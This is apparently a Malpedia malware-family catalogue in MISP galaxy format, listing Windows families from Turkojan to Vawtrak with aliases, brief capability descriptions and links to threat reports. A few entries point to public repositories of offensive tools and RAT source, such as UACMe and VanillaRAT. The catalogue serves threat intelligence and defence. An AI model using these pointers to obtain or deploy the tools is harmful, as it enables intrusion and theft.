The tag is: *misp-galaxy:malpedia="Turkojan"*

Turkojan is also known as:

Table 3284. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turkojan
https://www.sentinelone.com/wp-content/uploads/2021/09/SentinelOne_-SentinelLabs_EGoManiac_WP_V4.pdf

TurlaRPC

The tag is: *misp-galaxy:malpedia="TurlaRPC"*

TurlaRPC is also known as:

Table 3285. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://unit42.paloaltonetworks.com/ironnetinjector/

Turla SilentMoon

The tag is: *misp-galaxy:malpedia="Turla SilentMoon"*

Turla SilentMoon is also known as:

- BigBoss
- Cacao
- GoldenSky
- HyperStack

Table 3286. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.emanueledelucia.net/the-bigboss-rules-something-about-one-of-the-uroburos-rpc-based-backdoors/
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
https://twitter.com/Arkbird_SOLG/status/1304187749373800455

TURNEDUP

The tag is: *misp-galaxy:malpedia="TURNEDUP"*

TURNEDUP is also known as:

- Notestuk

Table 3287. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup
https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

TypeHash

The tag is: *misp-galaxy:malpedia="TypeHash"*

TypeHash is also known as:

- SkinnyD

Table 3288. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash
https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf
https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf

Tyupkin

The tag is: *misp-galaxy:malpedia="Tyupkin"*

Tyupkin is also known as:

Table 3289. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tyupkin
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf
https://www.lastline.com/labsblog/tyupkin-atm-malware/
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html

T-Cmd

The tag is: *misp-galaxy:malpedia="T-Cmd"*

T-Cmd is also known as:

- t_cmd

Table 3290. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.t_cmd
https://github.com/crackeeer/2006-defconbot/blob/master/T-cmd.cpp

T-RAT 2.0

The tag is: *misp-galaxy:malpedia="T-RAT 2.0"*

T-RAT 2.0 is also known as:

Table 3291. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.t_rat
https://www.gdatasoftware.com/blog/trat-control-via-smartphone

UACMe

A toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.

The tag is: *misp-galaxy:malpedia="UACMe"*

UACMe is also known as:

- Akagi

Table 3292. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://github.com/hfiref0x/UACME

UDPoS

The tag is: *misp-galaxy:malpedia="UDPoS"*

UDPoS is also known as:

Table 3293. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos
https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns
https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html

UFR Stealer

Information stealer.

The tag is: *misp-galaxy:malpedia="UFR Stealer"*

UFR Stealer is also known as:

* Usteal

Table 3294. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer
https://twitter.com/malwrhunterteam/status/1096363455769202688
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Usteal

Uiwix

The tag is: *misp-galaxy:malpedia="Uiwix"*

Uiwix is also known as:

Table 3295. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uiwix
https://www.minerva-labs.com/post/uiwix-evasive-ransomware-exploiting-eternalblue

UnderminerEK

The tag is: *misp-galaxy:malpedia="UnderminerEK"*

UnderminerEK is also known as:

Table 3296. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek
https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become
https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/

Unidentified 001

The tag is: *misp-galaxy:malpedia="Unidentified 001"*

Unidentified 001 is also known as:

Table 3297. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001

Unidentified 003

The tag is: *misp-galaxy:malpedia="Unidentified 003"*

Unidentified 003 is also known as:

Table 3298. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003

Unidentified 006

The tag is: *misp-galaxy:malpedia="Unidentified 006"*

Unidentified 006 is also known as:

Table 3299. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006

Unidentified 013 (Korean)

The tag is: *misp-galaxy:malpedia="Unidentified 013 (Korean)"*

Unidentified 013 (Korean) is also known as:

Table 3300. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware
http://blog.talosintelligence.com/2017/02/korean-maldoc.html

Unidentified 020 (Vault7)

The tag is: *misp-galaxy:malpedia="Unidentified 020 (Vault7)"*

Unidentified 020 (Vault7) is also known as:

Table 3301. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7
https://wikileaks.org/ciav7p1/cms/page_34308128.html

Unidentified 022 (Ransom)

The tag is: *misp-galaxy:malpedia="Unidentified 022 (Ransom)"*

Unidentified 022 (Ransom) is also known as:

Table 3302. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_022_ransom

Unidentified 023

The tag is: *misp-galaxy:malpedia="Unidentified 023"*

Unidentified 023 is also known as:

Table 3303. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023

Unidentified 024 (Ransomware)

The tag is: *misp-galaxy:malpedia="Unidentified 024 (Ransomware)"*

Unidentified 024 (Ransomware) is also known as:

Table 3304. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_024_ransom
https://twitter.com/malwrhunterteam/status/789161704106127360

Unidentified 025 (Clickfraud)

The tag is: *misp-galaxy:malpedia="Unidentified 025 (Clickfraud)"*

Unidentified 025 (Clickfraud) is also known as:

Table 3305. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_025_clickfraud
http://malware-traffic-analysis.net/2016/05/09/index.html

Unidentified 028

The tag is: *misp-galaxy:malpedia="Unidentified 028"*

Unidentified 028 is also known as:

Table 3306. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_028

Unidentified 029

The tag is: *misp-galaxy:malpedia="Unidentified 029"*

Unidentified 029 is also known as:

Table 3307. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_029

Filecoder

The tag is: *misp-galaxy:malpedia="Filecoder"*

Filecoder is also known as:

Table 3308. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_030
https://twitter.com/JaromirHorejsi/status/877811773826641920

Unidentified 031

The tag is: *misp-galaxy:malpedia="Unidentified 031"*

Unidentified 031 is also known as:

Table 3309. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031

Unidentified 037

The tag is: *misp-galaxy:malpedia="Unidentified 037"*

Unidentified 037 is also known as:

Table 3310. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037

Unidentified 038

The tag is: *misp-galaxy:malpedia="Unidentified 038"*

Unidentified 038 is also known as:

Table 3311. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_038

Unidentified 039

The tag is: *misp-galaxy:malpedia="Unidentified 039"*

Unidentified 039 is also known as:

Table 3312. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039

Unidentified 041

The tag is: *misp-galaxy:malpedia="Unidentified 041"*

Unidentified 041 is also known as:

Table 3313. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041

Unidentified 042

The tag is: *misp-galaxy:malpedia="Unidentified 042"*

Unidentified 042 is also known as:

Table 3314. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_042
http://www.intezer.com/lazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies/

Unidentified 044

The tag is: *misp-galaxy:malpedia="Unidentified 044"*

Unidentified 044 is also known as:

Table 3315. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044

Unidentified 045

The tag is: *misp-galaxy:malpedia="Unidentified 045"*

Unidentified 045 is also known as:

Table 3316. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045

Unidentified 047

RAT written in Delphi used by Patchwork APT.

The tag is: *misp-galaxy:malpedia="Unidentified 047"*

Unidentified 047 is also known as:

Table 3317. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_047
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

Unidentified 052

The tag is: *misp-galaxy:malpedia="Unidentified 052"*

Unidentified 052 is also known as:

Table 3318. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_052

Unidentified 053 (Wonknu?)

The tag is: *misp-galaxy:malpedia="Unidentified 053 (Wonknu?)"*

Unidentified 053 (Wonknu?) is also known as:

Table 3319. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053

Unidentified 057

Unnamed portscanner as used in the Australian Parliament Hack (Feb 2019).

The tag is: *misp-galaxy:malpedia="Unidentified 057"*

Unidentified 057 is also known as:

Table 3320. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_057
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/

Unidentified 058

The tag is: *misp-galaxy:malpedia="Unidentified 058"*

Unidentified 058 is also known as:

Table 3321. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_058
https://securelist.com/the-evolution-of-brazilian-malware/74325/#rat
https://securelist.com/the-return-of-the-bom/90065/

Unidentified 061

Was previously wrongly tagged as PoweliksDropper, now looking for additional context.

The tag is: *misp-galaxy:malpedia="Unidentified 061"*

Unidentified 061 is also known as:

Table 3322. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_061

Unidentified 063 (Lazarus Keylogger)

The tag is: *misp-galaxy:malpedia="Unidentified 063 (Lazarus Keylogger)"*

Unidentified 063 (Lazarus Keylogger) is also known as:

Table 3323. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_063
https://twitter.com/KevinPerlow/status/1160766519615381504

Unidentified 066

This .net executable can receive commands from c2 sever, upload and download files according to the returned content, perform an uninstall, or modify the registry to achieve persistence across reboots. At the end, it downloads a Python-based RAT, called PeppyRAT.

The tag is: *misp-galaxy:malpedia="Unidentified 066"*

Unidentified 066 is also known as:

Table 3324. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_066
https://s.tencent.com/research/report/669.html

Unidentified 067

The tag is: *misp-galaxy:malpedia="Unidentified 067"*

Unidentified 067 is also known as:

Table 3325. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_067
https://s.tencent.com/research/report/831.html

Unidentified 068

The tag is: *misp-galaxy:malpedia="Unidentified 068"*

Unidentified 068 is also known as:

Table 3326. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_068
https://rules.emergingthreatspro.com/changelogs/suricata-5.0-enhanced.etpro.2019-12-05T23:38:02.txt

Unidentified 069 (Zeus Unnamed2)

Zeus derivate, no known public references.

The tag is: *misp-galaxy:malpedia="Unidentified 069 (Zeus Unnamed2)"*

Unidentified 069 (Zeus Unnamed2) is also known as:

Table 3327. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_069
https://zeusmuseum.com/unnamed%202/

Unidentified 070 (Downloader)

Unidentified downloader, possibly related to KONNI.

The tag is: *misp-galaxy:malpedia="Unidentified 070 (Downloader)"*

Unidentified 070 (Downloader) is also known as:

Table 3328. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_070
https://twitter.com/M11Sec/status/1217781224204357633

Unidentified 071 (Zeus Unnamed1)

The tag is: *misp-galaxy:malpedia="Unidentified 071 (Zeus Unnamed1)"*

Unidentified 071 (Zeus Unnamed1) is also known as:

Table 3329. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_071
https://zeusmuseum.com/unnamed%201/

Unidentified 072 (Metamorfo Loader)

MSI-based loader that has been observed as a stager for win.metamorfo.

The tag is: *misp-galaxy:malpedia="Unidentified 072 (Metamorfo Loader)"*

Unidentified 072 (Metamorfo Loader) is also known as:

Table 3330. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_072
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md

Unidentified 074 (Downloader)

The tag is: *misp-galaxy:malpedia="Unidentified 074 (Downloader)"*

Unidentified 074 (Downloader) is also known as:

Table 3331. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_074
https://blog.vincss.net/2019/12/re009-phan-tich-ma-doc-ke-hoach-nhiem-vu-trong-tam-2020.html

Unidentified 075

Unpacked http_dll.dat from the blog post.

The tag is: *misp-galaxy:malpedia="Unidentified 075"*

Unidentified 075 is also known as:

Table 3332. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_075
https://blog.vincss.net/2020/03/re012-phan-tich-ma-doc-loi-dung-dich-COVID-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-Nguyen-Xuan-Phuc.html

Unidentified 076 (Higaisa LNK to Shellcode)

The tag is: *misp-galaxy:malpedia="Unidentified 076 (Higaisa LNK to Shellcode)"*

Unidentified 076 (Higaisa LNK to Shellcode) is also known as:

Table 3333. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076
https://www.youtube.com/watch?v=8x-pGlWpIYI
https://www.zscaler.com/blogs/research/return-higaisa-apt
https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html

Unidentified 077 (Lazarus Downloader)

The tag is: *misp-galaxy:malpedia="Unidentified 077 (Lazarus Downloader)"*

Unidentified 077 (Lazarus Downloader) is also known as:

Table 3334. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_077
https://twitter.com/ccxsaber/status/1277064824434745345

Unidentified 078 (Zebrocy Nim Loader?)

Suspected Zebrocy loader written in Nim.

The tag is: *misp-galaxy:malpedia="Unidentified 078 (Zebrocy Nim Loader?)"*

Unidentified 078 (Zebrocy Nim Loader?) is also known as:

Table 3335. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_078
https://twitter.com/Vishnyak0v/status/1300704689865060353

Unidentified 080

This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as CMFile, CMFile, CMProcess, TFileDownload, TDrive, TProcessInfo, TSock, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port

443 and parse commands. It is also used by attackers to gather a target's data, make lateral movements and create SOCKS tunnels to their C2 using the Earthworm tunneler.Given that the Trojan is an HTTPS server itself, the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands.

The tag is: *misp-galaxy:malpedia="Unidentified 080"*

Unidentified 080 is also known as:

Table 3336. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080
https://securelist.com/luckymouse-ndisproxy-driver/87914/

Unidentified 081 (Andariel Ransomware)

Kaspersky Labs observed Andariel to drop this ransomware in one case within a series of attacks carried out against targets in South Korea in April 2021.

The tag is: *misp-galaxy:malpedia="Unidentified 081 (Andariel Ransomware)"*

Unidentified 081 (Andariel Ransomware) is also known as:

Table 3337. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_081
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/

Unidentified 083 (AutoIT Stealer)

The tag is: *misp-galaxy:malpedia="Unidentified 083 (AutoIT Stealer)"*

Unidentified 083 (AutoIT Stealer) is also known as:

Table 3338. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_083
https://www.intezer.com/blog/malware-analysis/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/

Unidentified 085

A RAT written in .NET, potentially used by Transparent Tribe.

The tag is: *misp-galaxy:malpedia="Unidentified 085"*

Unidentified 085 is also known as:

Table 3339. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_085
https://blog.cyble.com/2021/09/14/apt-group-targets-indian-defense-officials-through-enhanced-ttps/

Unidentified 087

Symantec describes this family as an unidentified tool set used to target a range of organizations in South East Asia. The campaign was first noticed in September 2020.

The tag is: *misp-galaxy:malpedia="Unidentified 087 "*

Unidentified 087 is also known as:

Table 3340. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-south-east-asia?s=09

Unidentified 088 (Nim Ransomware)

Ransomware written in Nim.

The tag is: *misp-galaxy:malpedia="Unidentified 088 (Nim Ransomware)"*

Unidentified 088 (Nim Ransomware) is also known as:

Table 3341. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671

Unidentified 089 (Downloader)

Downloader used in suspected APT attack against Vietnam.

The tag is: *misp-galaxy:malpedia="Unidentified 089 (Downloader)"*

Unidentified 089 (Downloader) is also known as:

Table 3342. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089
https://kienmanowar.wordpress.com/2022/01/26/quicknote-analysis-of-malware-suspected-to-be-an-apt-attack-targeting-vietnam/

Unidentified 090 (Lazarus)

Recon/Loader malware attributed to Lazarus, disguised as Notepad++ shell extension.

The tag is: *misp-galaxy:malpedia="Unidentified 090 (Lazarus)"*

Unidentified 090 (Lazarus) is also known as:

Table 3343. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_090
https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/

Unidentified 091

Avast found this unidentified RAT, which abuses a code-signing certificate by the Philippine Navy. It is statically linked against OpenSSL 1.1.1g.

The tag is: *misp-galaxy:malpedia="Unidentified 091"*

Unidentified 091 is also known as:

Table 3344. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091
https://decoded.avast.io/threatintel/avast-finds-compromised-philippine-navy-certificate-used-in-remote-access-tool/

Unidentified 092 (Confucius Backdoor)

According to Antiy CERT, this is a C++ backdoor that was first discovered in an attack by Confucius in September 2020. Its main functions include creating scheduled tasks, retrieving process information, retrieving network adapter information, retrieving disk drive information, uploading files, downloading files, executing files, and providing shell access.

The tag is: *misp-galaxy:malpedia="Unidentified 092 (Confucius Backdoor)"*

Unidentified 092 (Confucius Backdoor) is also known as:

Table 3345. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092
https://mp.weixin.qq.com/s/n6XQAGtNEXfPZXp1mlwDTQ

Unidentified 093 (Sidewinder)

Check Point Research observed this malware being used by Sidewinder.

The tag is: *misp-galaxy:malpedia="Unidentified 093 (Sidewinder)"*

Unidentified 093 (Sidewinder) is also known as:

Table 3346. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_093
https://blog.checkpoint.com/2022/07/13/a-hit-is-made-suspected-india-based-sidewinder-apt-successfully-cyber-attacks-pakistan-military-focused-targets/

Unidentified 094

The tag is: *misp-galaxy:malpedia="Unidentified 094"*

Unidentified 094 is also known as:

Table 3347. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_094
https://twitter.com/katechondic/status/1556940169483264000

Unlock92

The tag is: *misp-galaxy:malpedia="Unlock92"*

Unlock92 is also known as:

Table 3348. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unlock92
https://twitter.com/bartblaze/status/976188821078462465
https://twitter.com/struppigel/status/810753660737073153

UPAS

The tag is: *misp-galaxy:malpedia="UPAS"*

UPAS is also known as:

- Rombrast

Table 3349. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.upas
https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/

Upatre

Upatre is primarly a downloader. It has been discovered in 2013 and since that time it has been widely updated. Upatre is responsible for delivering further malware to the victims, in specific upatre was a prolific delivery mechanism for Gameover P2P in 2013-2014 and then for Dyre in 2015.

The tag is: *misp-galaxy:malpedia="Upatre"*

Upatre is also known as:

Table 3350. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre
https://marcoramilli.com/2020/06/24/is-upatre-downloader-coming-back/
https://johannesbader.ch/2015/06/Win32-Upatre-BI-Part-1-Unpacking/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/
https://secrary.com/ReversingMalware/Upatre/

Urausy

The tag is: *misp-galaxy:malpedia="Urausy"*

Urausy is also known as:

Table 3351. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy

UrlZone

The tag is: *misp-galaxy:malpedia="UrlZone"*

UrlZone is also known as:

- Bebloh
- Shiotob

Table 3352. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware
https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features
https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0
https://mp.weixin.qq.com/s/NRytT94ne5gKN31CSLq6GA
https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/
http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/
https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/
https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/
https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf
https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/
https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html
https://www.gdatasoftware.com/blog/2013/12/23978-bebloh-a-well-known-banking-trojan-with-noteworthy-innovations
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much

Uroburos (Windows)

Uroburos is a driver for Windows, including a bypass of PatchGuard. According to Andrzej Dereszowski and Matthieu Kaczmarek, "the techniques used demonstrate [their] excellent knowledge of Windows kernel internals."

The tag is: *misp-galaxy:malpedia="Uroburos (Windows)"*

Uroburos (Windows) is also known as:

- Snake

Table 3353. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos
https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified
https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/
https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg
https://artemonsecurity.com/uroburos.pdf
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.circl.lu/pub/tr-25/
https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://exatrack.com/public/Uroburos_EN.pdf

USBCulprit

According to Kaspersky, USBCulprit is a malware that is capable of scanning various paths in victim machines, collecting documents with particular extensions and passing them on to USB drives when they are connected to the system. It can also selectively copy itself to a removable drive in the presence of a particular file, suggesting it can be spread laterally by having designated drives infected and the executable in them opened manually.

The tag is: *misp-galaxy:malpedia="USBCulprit"*

USBCulprit is also known as:

Table 3354. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.usbculprit
https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://securelist.com/cycldek-bridging-the-air-gap/97157/

USBferry

The tag is: *misp-galaxy:malpedia="USBferry"*

USBferry is also known as:

Table 3355. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry
https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-troopers-back-usbferry-attack-targets-air-gapped-environments/

Vadokrist

ESET reports that Vadokrist is a Latin American banking trojan that they have been tracking since 2018 and that is active almost exclusively in Brazil.

The tag is: *misp-galaxy:malpedia="Vadokrist"*

Vadokrist is also known as:

Table 3356. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vadokrist
https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf
https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/

Vaggen

The tag is: *misp-galaxy:malpedia="Vaggen"*

Vaggen is also known as:

Table 3357. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vaggen
https://blog.malwarebytes.com/cybercrime/2020/10/fake-covid-19-survey-hides-ransomware-in-canadian-university-attack/

VALUEVAULT

The tag is: *misp-galaxy:malpedia="VALUEVAULT"*

VALUEVAULT is also known as:

Table 3358. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.valuevault
https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html

vanillarat

Description:

VanillaRat is an advanced remote administration tool coded in C#. VanillaRat uses the Telepathy TCP networking library, dnlib module reading and writing library, and Costura.Fody dll embedding library. Features:

```
Remote Desktop Viewer (With remote click)
File Browser (Including downloading, drag and drop uploading, and file opening)
Process Manager
Computer Information
Hardware Usage Information (CPU usage, disk usage, available ram)
Message Box Sender
Text To Speech
Screen Locker
Live Keylogger (Also shows current window)
Website Opener
Application Permission Raiser (Normal -> Admin)
Clipboard Text (Copied text)
Chat (Does not allow for client to close form)
Audio Recorder (Microphone)
Process Killer (Task manager, etc.)
Remote Shell
Startup
```

```
Security Blacklist (Drag client into list if you don't want connection. Press del. key on client to remove from list)
```

The tag is: *misp-galaxy:malpedia="vanillarat"*

vanillarat is also known as:

Table 3359. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vanillarat
https://github.com/DannyTheSloth/VanillaRAT

Varenyky

In May 2019, ESET researchers observed a spike in ESET telemetry data regarding malware targeting France. After further investigations, they identified malware that distributes various types of spam. One of them is leading to a survey that redirects to a dodgy smartphone promotion while the other is a sextortion campaign. The spam targets the users of Orange S.A., a French ISP.

The tag is: *misp-galaxy:malpedia="Varenyky"*

Varenyky is also known as:

Table 3360. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky
https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/
https://www.welivesecurity.com/2019/08/08/varenyky-spambot-campaigns-france/

Vawtrak

The tag is: *misp-galaxy:malpedia="Vawtrak"*

Vawtrak is also known as:

- Catch
- NeverQuest
- grabnew

Table 3361. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://threatpost.com/pos-attacks-net-crooks-20-million-stolen-bank-cards/117595/
https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/
